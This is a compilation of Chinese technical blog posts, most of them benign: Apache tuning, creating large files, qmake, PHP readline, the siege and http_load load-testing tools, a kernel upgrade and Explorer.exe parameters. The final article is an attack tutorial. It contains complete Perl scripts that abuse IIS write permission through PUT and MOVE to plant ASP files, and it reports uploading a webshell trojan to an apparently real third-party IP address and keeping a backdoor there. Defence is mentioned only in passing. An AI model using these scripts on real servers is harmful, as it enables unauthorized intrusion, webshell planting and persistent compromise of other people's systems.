apache 诡异现象分析

1. 
现象: 200 个并发,请求一个非常简单的html,httpd子进程只有20个,使用netstat 查看,发现很多已建立的连接被阻塞

分析:
    因为html太简单,处理速度飞快
        如果限制了每个子进程允许处理的请求数,则可能进程死的很快(比创建的快),这样进程数就
        总是上不去,可以加大每个子进程允许处理的请求数,最大为0

        如果该httpd服务器监听的不是一个sock,则多进程之间需要互斥,都要先给一个信号量加锁,这样进程的
        很多时间都用到了争夺互斥量了,至少表现为清闲,所以,apache不会再派生更多的子进程。解决办法是:
            如果监听的是同一个端口,可以使用listen *:port ,
而不是每个ip都写一个listen
            如果监听的不是一个端口,可以考虑不同的端口使用不同的server

2. 
现象:我的httpd只监听了一个端口,200个并发,httpd子进程数才70个

分析:可能70子进程已经足以处理你的200个并发了,使用netstat看看,没有阻塞的连接就行了

如何创建大文件

有时候,处于测试的需要,我们想有一个很大的文件,但是手头又没有大文件,怎么办呢?

1. 如果你在Linux上,那么,试试这个:

dd if=/dev/zero of=/path/to/bigfile bs=1024000 count=1000

这样就生成了1024000 × 1000 (即:1G) 的文件了

2. 如果你安装了PHP环境的话

php -r ‘$fp = fopen("/path/to/biggile","w");echo ftruncate ($fp,1024*1000*1000);’

这样也生成了一个1G的文件

记得Solaris里有mkfile这个系统调用的,可以生成指定大小的文件,但是Linux下好像没有;总以为ftruncate 只能将文件截短,其实还能将文件加长;

预生成指定大小的文件对于多进程下载时是比较有用的,我们知道的文件的长度之后,直接创建指定大小的文件,然后就可以多线程下载了。

用qmake快速生成makefile

用qmake快速生成makefile

摘要
qmake是Trolltech公司创建的用来为不同的平台和编译器书写Makefile的工具。是qt工具包的一部分.在Unix&linux上写程式的人大概都碰过Makefile。用 make 来开发和编译程式的确很方便,可是要写出一个 Makefile就不简单了,手写Makefile是比较困难并且容易出错的,这阻挡了很多一部分的linux爱好者加入linux程序开发的阵营。(2004-05-17 02:14:46)

——————————————————————————–
By lanf, 出处:
http://mylottery.cosoft.org.cn/news/show.php?type=linuxprg&id=1081842801

作者:孙高勇
1.简介:
qmake是Trolltech公司创建的用来为不同的平台和编译器书写Makefile的工具。是qt工具包的一部分.在Unix&linux上写程式的人大概都碰过Makefile。用 make 来开发和编译程式的确很方便,可是要写出一个 Makefile就不简单了,手写Makefile是比较困难并且容易出错的,这阻挡了很多一部分的linux爱好者加入linux程序开发的阵营。
虽然Open Source Software也有GNU Automake和GNU Autoconf两个软件可以生成makefile文件,但是对于一个简单的项目,使用Automake和Autoconf就有点杀鸡也用宰牛刀了.使用qmake完全可以符合你的要求.Trolltech公司使用qmake作为Qt库和Qt所提供的工具的主要连编工具。
2.安装qmake
在linux平台上,安装完qt以及相关的qt工具包,qmake就已经被安装好了.你唯一要注意的就是QTDIR值的设定,这个必须设置到Qt被安装到的地方。如:/usr/lib/qt3/,以及qmake可执行文件的路径加到PATH路径中.
3. 一个简单的例子
用vi写个hello.c ,
#include
int main(int argc, char** argv)
{
printf(\"Hello, world!\\n\");
return 0;
}
创建qmake需要的项目文件(hello.pro),
SOURCES = hello.cpp
CONFIG += qt warn_on release
Makefile可以像这样由\".pro\"文件生成:
qmake -o Makefile hello.pro
现在你的目录下已经产生了一个 Makefile 文件,输入\"make\" 指令就可以开始编译 hello.c 成执行文件,执行 ./hello 和 world 打声招呼吧!打开这个Makefile文件看看,是不是很专业啊!
4.高级操作技巧
当然,在实际使用过程中,我们的工程不可能象这个程序这样简单的,它可能有多个目录,多个头文件,多个源文件,需要链接器它不同的链接库等等情况。别急,让我和你慢慢道来。这些都是非常容易用qmake来实现的。我们从一个更加复杂的项目文件为例和你详细的讲诉qmake的高级技巧:
项目文件示例:
SOURCES += myqt.cpp
SOURCES += main.cpp
HEADERS += myqt.h
FORMS += xsimform.ui
TEMPLATE = lib
CONFIG += debug \\
warn_on \\
qt \\
thread \\
x11 \\
plugin
TARGET = ../bin/panel_qt
INCLUDEPATH = ../../../../xsim \\
../../../../xsim/IMdkit
DEFINES = BDB_VERSION4 \\
OS_LINUX
从这个文件可以知道,SOURCES变量指向项目中的源文件,当项目中有多个源文件时,我们需对项目中的每一个源文件都这样做,直到结束:
SOURCES += hello.cpp
SOURCES += main.cpp
当然,如果你喜欢使用像Make一样风格的语法,你也可以写成这样,一行写一个源文件,并用反斜线结尾,然后再起新的一行:
SOURCES = hello.cpp \\
main.cpp
HEADERS变量指向项目中的头文件,多个头文件的时候,和多个源文件的解决方法一致。
FORMS变量指向项目中使用到的窗体文件(qtdesign设计的.ui文件),qmake也注意了Qt的特殊需求,可以自动的包含moc和uic的连编规则。没有的话或者非qt程序可以不写。
TEMPLATE变量告诉qmake为这个应用程序生成哪种makefile。下面是可供使用的选择:
app – 建立一个应用程序的makefile。这是默认值,所以如果模板没有被指定,这个将被使用。
lib – 建立一个链接库的makefile。
vcapp – 建立一个应用程序的Visual Studio项目文件。
vclib – 建立一个库的Visual Studio项目文件。
subdirs – 这是一个特殊的模板,它可以创建一个能够进入特定目录并且为一个项目文件生成makefile并且为它调用make的mkefile。
CONFIG变量变量指定了编译器所要使用的选项和所需要被连接的库。配置变量中可以添加任何东西,但只有下面这些选项可以被qmake识别。
下面这些选项控制着使用哪些编译器标志:
release – 应用程序将以release模式连编。如果\"debug\"被指定,它将被忽略。
debug – 应用程序将以debug模式连编。
warn_on – 编译器会输出尽可能多的警告信息。如果\"warn_off\"被指定,它将被忽略。
warn_off – 编译器会输出尽可能少的警告信息。
下面这些选项定义了所要连编的库/应用程序的类型:
qt – 应用程序是一个Qt应用程序,并且Qt库将会被连接。
thread – 应用程序是一个多线程应用程序。
x11 – 应用程序是一个X11应用程序或库。
windows – 只用于\"app\"模板:应用程序是一个Windows下的窗口应用程序。
console – 只用于\"app\"模板:应用程序是一个
Windows下的控制台应用程序。
dll – 只用于\"lib\"模板:库是一个共享库(dll)。
staticlib – 只用于\"lib\"模板:库是一个静态库。
plugin – 只用于\"lib\"模板:库是一个插件,这将会使dll选项生效。
TARGET变量指定生成的二进制代码的路径和文件名,如果建立的是一个链接库的话,它会在文件名前面自动加上\"lib\"和在最后自动加上\".so\".
我们在使用过程中可能会使用到另外的一些函数库,链接库等。函数库的头文件指定使用INCLUDEPATH变量,其它链接库的指定可以通过LIBS 变量来指定,例LIBS += -lmath -L/usr/local/lib
DEFINES变量的指定就如同make的-D选项一样。
结束语
Autoconf 和 Automake 功能十分强大,但对于普通用户来说,太过复杂。qmake方便、简单、快捷,是一个轻量级的makefile生成工具,虽然它是qt工具包的一部分,但它也完全可以用来进行其它程序makefile文件的生成,对于大多数人来说,它已经是非常的够用了。你也可以从qt提供的许多现存的源程序中找到相关的.pro项目文件,它们是学习qmake 更多技巧的最佳范例。
这篇简介只用到了 qmake 的一些皮毛罢了,希望这篇文件能帮助你对产生 Makefile有个简单的依据。

相关链接:http://www.kuqin.com/qtdocument/qmake-manual-5.html

PHP readline 模块安装

PHP天生是web的,所以很少有人去使用php的readline模块,我也没有去碰过;今天我想先获取一下mc的状态,过一段时间,再获取一次mc状态,对感兴趣的数字做计算,但是等待未知长度的时间对php来讲就不是那么容易了,于是我就用shell来写,但是出了很多错误,就一气之下要把php的readline模块装上,readline需要几个依赖:

[root@ljj ~]# ldd /usr/local/lib/php/extensions/no-debug-non-zts-20060613/readline.so
libedit.so.0 => /usr/local/lib/libedit.so.0 (0x00687000)
libncurses.so.5 => /usr/lib/libncurses.so.5 (0x00111000)
libc.so.6 => /lib/tls/libc.so.6 (0x00d4b000)
/lib/ld-linux.so.2 (0x002ae000)

下面给出libedit和libncurses的地址:

libedit-20080712-2.11.tar.gz

http://www.invisible-island.net/ncurses/ncurses.faq.htm

 

 

相关链接:

http://dev.csdn.net/article/79/79637.shtm

http://dev.csdn.net/article/79/79631.shtm

http://www.thrysoee.dk/editline/

http 压力测试工具 之 siege

 

最早使用的压力测试工具是apache的ab(apache benchmark),apache ab做重复压力测试不错,但是每次只能测试一个链接,如何测试一组链接(比如从日志中导出的1个小时的日志,做真实压力测试),后来找到了这个:
Siege是一个压力测试和评测工具,设计用于WEB开发这评估应用在压力下的承受能力:可以根据配置对一个WEB站点进行多用户的并发访问,记录每个用户所有请求过程的相应时间,并在一定数量的并发访问下重复进行。

SIEGE is an http regressive testing and benchmarking utility. It was designed to let web developers measure the performance of their code under duress, to see how it will stand up to load on the internet. It lets the user hit a webserver with a configurable number of concurrent simulated users. Those users place the webserver "under siege." The duration of the siege is measured in transactions, the sum of simulated users and the number of times each simulated user repeats the process of hitting the server. Thus 20 concurrent users 50 times is 1000 transactions, the length of the test.

下载/安装
Siege时一个开放源代码项目:http://www.joedog.org

下载:
wget ftp://sid.joedog.org/pub/siege/siege-latest.tar.gz

安装:
%./configure ; make
#make install

siege包含了一组压力测试工具:
SIEGE (1) Siege是一个HTTP压力测试和评测工具.
使用样例:
任务列表:www.chedong.com.url文件
http://www.chedong.com/tech/
http://www.chedong.com/tech/acdsee.html
http://www.chedong.com/tech/ant.html
http://www.chedong.com/tech/apache_install.html
http://www.chedong.com/tech/awstats.html
http://www.chedong.com/tech/cache.html
http://www.chedong.com/tech/click.html
http://www.chedong.com/tech/cms.html
http://www.chedong.com/tech/compress.html
http://www.chedong.com/tech/cvs_card.html
http://www.chedong.com/tech/default.html
http://www.chedong.com/tech/dev.html
http://www.chedong.com/tech/gnu.html
….

siege -c 20 -r 2 -f www.chedong.com.url
参数说明:
-c 20 并发20个用户
-r 2 重复循环2次
-f www.chedong.com.url 任务列表:URL列表

输出样例:

** Siege 2.59
** Preparing 20 concurrent users for battle. 这次“战斗”准备了20个并发用户
The server is now under siege.. done. 服务在“围攻”测试中:
Transactions: 40 hits 完成40次处理
Availability: 100.00 % 成功率
Elapsed time: 7.67 secs 总共用时
Data transferred: 877340 bytes 共数据传输:877340字节
Response time: 1.65 secs 相应用时1.65秒:显示网络连接的速度
Transaction rate: 5.22 trans/sec 平均每秒完成5.22次处理:表示服务器后台处理的速度
Throughput: 114385.92 bytes/sec 平均每秒传送数据:114385.92字节
Concurrency: 8.59 最高并发数 8.59
Successful transactions: 40 成功处理次数
Failed transactions: 0 失败处理次数

注意:由于速度很快,可能会达不到并发速度很高就已经完成。Response time显示的是测试机器和被测试服务器之间网络链接状况。Transaction rate则表示服务器端任务处理的完成速度。

辅助工具:
增量压力测试:

为了方便增量压力测试,siege还包含了一些辅助工具:
bombardment (1)
是一个辅助工具:用于按照增量用户压力测试:
使用样例:
bombardment urlfile.txt 5 3 4 1
初始化URL列表:urlfile.txt
初始化为:5个用户
每次增加:3个用户
运行:4次
每个客户端之间的延迟为:1秒

输出成CSV格式:
siege2csv.pl (1)
siege2csv.pl将bombardment的输出变成CSV格式:
Time Data Transferred Response Time Transaction Rate Throughput Concurrency Code 200 (note that this is horribly broken.)
242 60.22 603064 0.02 4.02 10014.35 0.08
605 59.98 1507660 0.01 10.09 25136.05 0.12
938 59.98 2337496 0.02 15.64 38971.26 0.26
1157 60 2883244 0.04 19.28 48054.07 0.78

参考:
开源测试工具:http://www.opensourcetesting.org/performance.php

压力测试工具:HammerHead 正在试用中

http 压力测试工具 之 http_load

http_load

下载地址:http://www.acme.com/software/http_load/http_load-12mar2006.tar.gz

程序非常小,解压后也不到100K 居家旅行 携带方便 呵呵

http_load以并行复用的方式运行,用以测试web服务器的吞吐量与负载。但是它不同于大多数压力测试工具,它可以以一个单一的进程运行,一般不会把客户机搞死。可以可以测试HTTPS类的网站请求。

命令格式:http_load   -p 并发访问进程数   -s 访问时间   需要访问的URL文件
例如:

引用
http_load -p 30 -s 60   urllist.txt

准备URL文件:tst.list,文件格式是每行一个URL,URL最好超过50-100个测试效果比较好,另外,测试结果中主要的指标是 fetches/sec 这个选项,即服务器每秒能够响应的查询次数,用这个指标来衡量性能。似乎比 apache的ab准确率要高一些,也更有说服力一些。

官方的例子:

引用
% ./http_load -rate 10 -seconds 60 urllist.txt
49 fetches, 4 max parallel, 289884 bytes, in 10.0148 seconds
5916 mean bytes/connection
4.89274 fetches/sec, 28945.5 bytes/sec
msecs/connect: 28.8932 mean, 44.243 max, 24.488 min
msecs/first-response: 63.5362 mean, 81.624 max, 57.803 min

4.89274 fetches/sec 这个值得就是说服务器每秒能够响应的查询次数为4.8左右
这个值得是根据 49 fetches / 10.0148 seconds 秒计算出来的

Linux 内核升级过程

将源码解压在/home/root下,进入目录
cd linux-2.6.18
make mrproper
将原/boot目录下的config-2.6.9-11.EL考过来,并更名为.config
cp /boot/config-2.6.9-11.EL ./.config
make menuconfig
选择load原有的config,这样就原有的配置就应该都不需要配置了,
只新加载了netfilter里面支持的模块……
make
make modules_install
make install
完成,重启。

可能要修改的文件:

/etc/modprobe.conf

Explorer.exe 参数解析

        在Windows中,相信大家对“Explorer.exe”并不陌生!通常情况下,在“开始→运行”中输 入“Explorer.exe”命令就能以“资源管理器”方式打开“我的文档”。其实,Explorer.exe还有很多鲜为人知的参数。

  命令格式

  Explorer [/n][/e][[,/root],[path]][[,/select],[path filename]]

  参数说明

  /n表示以“我的电脑”方式打开一个新的窗口,通常打开的是Windows安装分区的根目录。

  /e表示以“资源管理器”方式打开一个新的窗口,通常打开的也是Windows安装分区的根目录。

  /root,[path]表示打开指定的文件夹,/root表示只显示指定文件夹下面的文件(夹),不显示其它磁盘分区和文件夹;[path]表示指定的路径。

  如果不加/root参数,而只用[path]参数,则可以显示其它磁盘分区和文件夹中的内容。另外,[path]还可以指定网络共享文件夹。

  /select,[path filename]表示打开指定的文件夹并且选中指定的文件,[path filename]表示指定的路径和文件名。

  如果不加/select参数,则系统会用相应的关联程序打开该文件。如果[path filename]不跟文件名就会打开该文件夹的上级目录并选中该文件夹。

  应用实例

  1.以“资源管理器”方式打开E盘根目录

  单击“开始→运行”,输入“explorer /e,/root,e:\”,回车即可。如果需要显示其它磁盘分区和文件夹中的内容,可以输入“explorer /e,e:\”。

  2.以“我的电脑”方式打开“E:\Download”目录下的QQ.exe文件在“开始→运行”中键入“explorer /n,/select e:\download\qq.exe”或“explorer /select e:\download\qq.exe”,回车即可。

  3.通过“开始”菜单中的“Windows 资源管理器”命令打开特定窗口

  以在Windows XP下打开E盘根目录为例。首先在“开始”菜单中用鼠标右键单击“所有程序→附件→Windows 资源管理器”项,选择“属性”命令。接着在弹出窗口的“目标”栏中输入“%SystemRoot%\explorer.exe /e,e:\”(默认值是“%SystemRoot%\explorer.exe”)即可。

  4.在右键菜单里添加“打开我的文件夹”命令打开特定文件

  以在Windows XP下打开“E:\myfolder”文件夹为例。在“开始→运行”中输入“Regedit”,打开“注册表编辑器”,展开分支“HKEY_CLASSES_ROOT\Directory\shell,接着在右边窗口中新建一个名为“PersonalWindow”的子键,并将默认值改成“打开我的文件夹”;然后在“PersonalWindow”下新建一个名为“Command”的子键,在右侧的窗口中将“默认”值改为“explorer.exe /e,E:\myfolder”。这样就可以在浏览任何文件夹的时候,通过右键快捷菜单中的“打开我的文件夹”命令快速以资源管理器方式打开“E:\myfolder”文件夹。

示例

以下示例说明了 Windows 资源管理器参数的用法。

• Explorer /n

此命令使用默认设置打开一个资源管理器窗口。显示的内容通常是安装 Windows 的驱动器的根目录。

• Explorer /e

此命令使用默认视图启动 Windows 资源管理器。

• Explorer /e,C:\Windows

此命令使用默认视图启动 Windows 资源管理器,并把焦点定位在 C:\Windows。

• Explorer /root, C:\Windows\Cursors

此命令启动 Windows 资源管理器后焦点定位在 C:\Windows\Cursors folder。此示例使用

C:\Windows\Cursors 作为 Windows 资源管理器的“根”目录。

备注:请注意命令中“/root”参数后面的逗号。

Explorer /select, C:\Windows\Cursors\banana.ani

此命令启动 Windows 资源管理器后选定“C:\Windows\Cursors\banana.ani”文件。

备注

请注意命令中“/select”参数后面的逗号。

Windows 资源管理器参数可以在一个命令中进行组合。以下示例显示了 Windows 资源管理器命令行参数的组合。

Explorer /root, \\server\share, select, Program.exe

此命令启动 Windows 资源管理器时以远程共享作为“根”文件夹,而且 Program.exe 文件将被选中

妙用IIS写权限触发后门

     提到微软公司的IIS,很多人就会想到“漏洞”:UNICODE、CGI解析、ida、idq、Printer等远程溢出,还有前段去年的webdav远程溢出等,真所谓“百孔千疮”。这些都是IIS本身的程序漏洞,只要通过打上相应的补丁,就可以在一定程度上保证服务器的安全,但如果是IIS的设置不当(如目录权限,认证方法等等)而引起的安全问题,那危害会更大,因为这一般为管理员所忽视,本文就IIS的可“写入”权限进行分析。

  分析

  现在让我们看看IIS的一些设置。在IIS 服务管理器中,选择一个目录,看它的属性.在目录属性项里有这么一些选项(日志访问和索引此资源不计):

  脚本资源访问: 对网站的脚本可以读取原文件。

  读取:     读取目录里面的静态资源。

  写入:     用户可以建立以及删除资源。

  目录浏览:   用户可以浏览目录内容。

  应用程序设置的执行许可中有三个选项:

  无:        只能访问静态页面。

  纯脚本:      只允许允许脚本,如ASP脚本。

  脚本和可执行程序:  可以访问和执行各种文件类型。

  我们这里就对“写入”权限进行分析。首先看看IIS是这样“写入”的:Telnet或用NC连接到服务器的Web端口(80)并发送一个如下请求:

  PUT /Scripts/my_file.txt HTTP/1.1

  Host: iis-server

  Content-Length: 10

  这时服务器会返回一个100(继续)的信息:

  HTTP/1.1 100 Continue

  Server: Microsoft-IIS/5.0

  Date: Thu, 06 May 2004 10:20:20 GMT

  接着,我们输入10个字母:

  AAAAAAAAAA

  送出这个请求后,看服务器的返回信息,如果是一个201 Created响应:

  HTTP/1.1 200 OK

  Server: Microsoft-IIS/5.0

  Date: Thu, 06 May 2004 10:20:45 GMT

  Content-Length: 0

  Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH,

  SEARCH, LOCK, UNLOCK

  这样我们就在web的Scripts目录下写入文件my_file.txt内容为“AAAAAAAAAA”。

  这里简单说明:

  PUT /dir/my_file.txt HTTP/1.1

  Host: iis-server

  Content-Length: 10

  PUT:请求服务器将附件的实体储存在提供的请求URL处,如果该请求URL指向的资源已经存在,则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源,该URL将被该请求的用户代理定义成为一个新的资源,原始服务器将用该URL产生这个资源。

  Host:是HTTP请求的发送地址。

  Content-Length:是内容长度,也就是实体长度,该长度值和上传的文件大小一致。

  用NC(telnet)提交数据很烦琐,我们这里写个简单的Perl程序来完成这个复杂的提交过程,在写代码时我们用binmode()方式打开文件,代码如下:

  #!/usr/bin/perl

  use IO::Socket;

  $ARGC = @ARGV;

  if ($ARGC != 4)

  {

  print "usage:$0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n";

  exit;

  }

  $host = @ARGV[0];

  $port = @ARGV[1];

  $file = @ARGV[2];

  $path = @ARGV[3];

  @s=stat("$file");

$size = $s[7]; #得到文件大小

  print "$file size is $size bytes\n";

  my $sock = IO::Socket::INET->new(Proto =>"tcp",

  PeerAddr =>$host,

  PeerPort =>$port) || die "Sorry! Could not connect to $host \n";

  print $sock "PUT $path HTTP/1.1\n";

  print $sock "Host: $host\n";

  print $sock "Content-Length: $size\n\n"; #sock连接

  open(FILE,"$file");

  binmode(FILE); #用2进制打开文件

  while (read(FILE,$char,1024)) { #读取文件数据上传

  print $sock "$char";

  }

  print $sock "\n\n";

  @req = <$sock>;

  print "please wait…\n";

  sleep(2);

  if ($req[4]=~/200|201/){

  print "upfile Succeed!!!" ; #成功显示

  }

  else{

  print "upfile faile!!!\n\n";

  print @req;#如果失败显示返回错误

  }

  close $sock;

  close FILE;

  下面我们测试下效果如何:

  C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt

  kaka.txt size is 14 bytes

  please wait…

  upfile Succeed!!!

  C:\Inetpub\Scripts>dir kaka.txt

  驱动器 C 中的卷没有标签。

  卷的序列号是 3CD1-479E

  C:\Inetpub\Scripts 的目录

  2004-05-05 00:37 14 kaka.txt

  1 个文件 14 字节

  0 个目录 3,871,080,448 可用字节

  这里我们把kaka.txt成功上传到了Web目录Scripts下,因为程序中用了binmode()方式(2进制)打开文件,应该可以上传其他文件,我们先测试下exe文件:

  C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe

  perl.exe size is 20535 bytes

  please wait…

  upfile Succeed!!!

  C:\Inetpub\Scripts>dir perl.exe

  驱动器 C 中的卷没有标签。

  卷的序列号是 3CD1-479E

  C:\Inetpub\Scripts 的目录

  2004-05-05 00:42 20,535 perl.exe

  1 个文件 20,535 字节

  0 个目录 3,871,031,296 可用字节

  成功!可以上传exe了,是不是可以上传任意文件呢?接着来测试ASP文件:

  C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp

  kaka.asp size is 4 bytes

  please wait…

  upfile faile!!!

  HTTP/1.1 100 Continue

  Server: Microsoft-IIS/5.0

  Date: Tue, 04 May 2004 16:45:51 GMT

  HTTP/1.1 403 Forbidden

  Server: Microsoft-IIS/5.0

  Date: Tue, 04 May 2004 16:45:51 GMT

  Connection: close

  Content-Type: text/html

  Content-Length: 44

       <body><h2>HTTP/1.1 403 Forbidden</h2></body>

  失败!提示HTTP/1.1 403 Forbidden错误,看来直接用Post方式写ASP不行,经过测试只要是IIS支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

  那我们怎样才可以上传IIS支持的文件类型文件呢?IIS除了可以执行Put,Post,Get等动作外,还可以执行COPY,MOVE等命令,呵呵!我们这可以先把本地ASP上传到远程主机Web目录下的txt等其它文件,在提过COPY,MOVE命令来改为ASP。我们还是先用NC提交测试下:

  D:\>nc 127.0.0.1 80

  MOVE /scripts/kaka.txt HTTP/1.1

  Host:127.0.0.1

  Destination: http://127.0.0.1/scripts/kaka.asp

  HTTP/1.1 201 Created

  Server: Microsoft-IIS/5.0

  Date: Sun, 05 Oct 2003 09:30:59 GMT

  Location: http://127.0.0.1/scripts/x.asp

  Content-Type: text/xml

  Content-Length: 0

  成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合Put和Move来完成通过IIS写入文件了,我们还是用Perl来完成。测试写ASP成功:

  C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp

  ************************************************************

  codz by ≯SuperHeiQQ /><QQ:123230273> && lanker<QQ:18779569>

  ************************************************************

  kaka.asp size is 4 bytes

  please wait…

  upfile Succeed!!!

  Modifyfile Succeed!!!

  最终的iiswrite.pl代码如下(代码写的不是很好看,见笑了):

  #!/usr/bin/perl

  #The iiswrite Script

  use IO::Socket;

  $ARGC = @ARGV;

  print "*" x 60;

  print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n";

  print "*" x 60,"\n";

  if ($ARGC != 4)

  {

  print "usage:$0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n";

  exit;

  }

  $host = @ARGV[0];

  $port = @ARGV[1];

  $path = @ARGV[3];

  $file = @ARGV[2];

  @path=split("/",$path);

  $any = pop(@path);

  $path1=join("/",@path);

@s=stat("$file");

  $size = $s[7];

  print "$file size is $size bytes\n";

  my $sock = IO::Socket::INET->new(Proto =>"tcp",

  PeerAddr =>$host,

  PeerPort =>$port) || die "Sorry! Could not connect to $host \n";

  print $sock "PUT $path1/lanker.txt HTTP/1.1\n";

  print $sock "Host: $host\n";

  print $sock "Content-Length: $size\n\n";

  open(FILE,"$file")|| die "Can’t open $file";

  binmode(FILE);

  while (read(FILE,$char,1024)) {

  print $sock "$char";

  }

  print $sock "\n\n";

  @req = <$sock>;

  print "please wait…\n";

  sleep(2);

  if ($req[4]=~/200|201/){

  print "upfile Succeed!!!\n" ;

  }

  else{

  print "upfile faile!!!\n";

  print "The IIS can’t acc write";

  }

  close $sock;

  close FILE;

  my $sock = IO::Socket::INET->new(Proto =>"tcp",

  PeerAddr =>$host,

  PeerPort =>$port) || die "Sorry! Could not connect to $host \n";

  print $sock "MOVE $path1/lanker.txt HTTP/1.1\n";

  print $sock "Host: $host\n";

  print $sock "Destination:http://$host:$port$path\n\n\n\n";

  @req = <$sock>;

  if ($req[0]=~/20\d+|/){

  print "Modifyfile Succeed!!!" ;

  }

  else{

  print "upfile faile!!!";

  }

  close $sock;

  Try to use it!

  1. 上传web木马。

  假如我们已经知道某主机IIS可写,我们就可以远程写入任意文件,包括ASP等,这样我们就可以直接上传一个脚本木马上去了(如海洋2004),直接危及到主机安全。

  我们实践一下:得知主机222.241.**.43的Scripts目录可以写,我们运行上面的程序上传海洋新出的ASP木马2004.asp。如图2所示。

  C:\usr\bin>perl.exe iiswt2.pl 222.241.64.43 80 2004.asp /scripts/2004.asp

  ************************************************************

  codz by ≯SuperHei && lanker

  ************************************************************

  2004.asp size is 39047 bytes

  please wait…

  upfile Succeed!!!

  Modifyfile Succeed!!!

  哈哈!写入成功,直接访问http://222.241.64.43/scripts/2004.asp输入密码就可以看到ASP木马界面了。

  2.留后门。

  利用这样的特性,我们只需要将某个路径改成可写入的,然后直接利用这样的程序就可以留着后门了,这可比直接放ASP后门强很多哦!

  防范

  所谓“安全是一个整体”,管理员配置和维护服务器时要细心,要重视每个细节。以为一个小小的细节都可能是你的服务器被攻破,本文就是一个例子。防范的方法请看防册的《让WebShell见鬼去》。由于作者的水平有限,难免有错,还望大家多包含。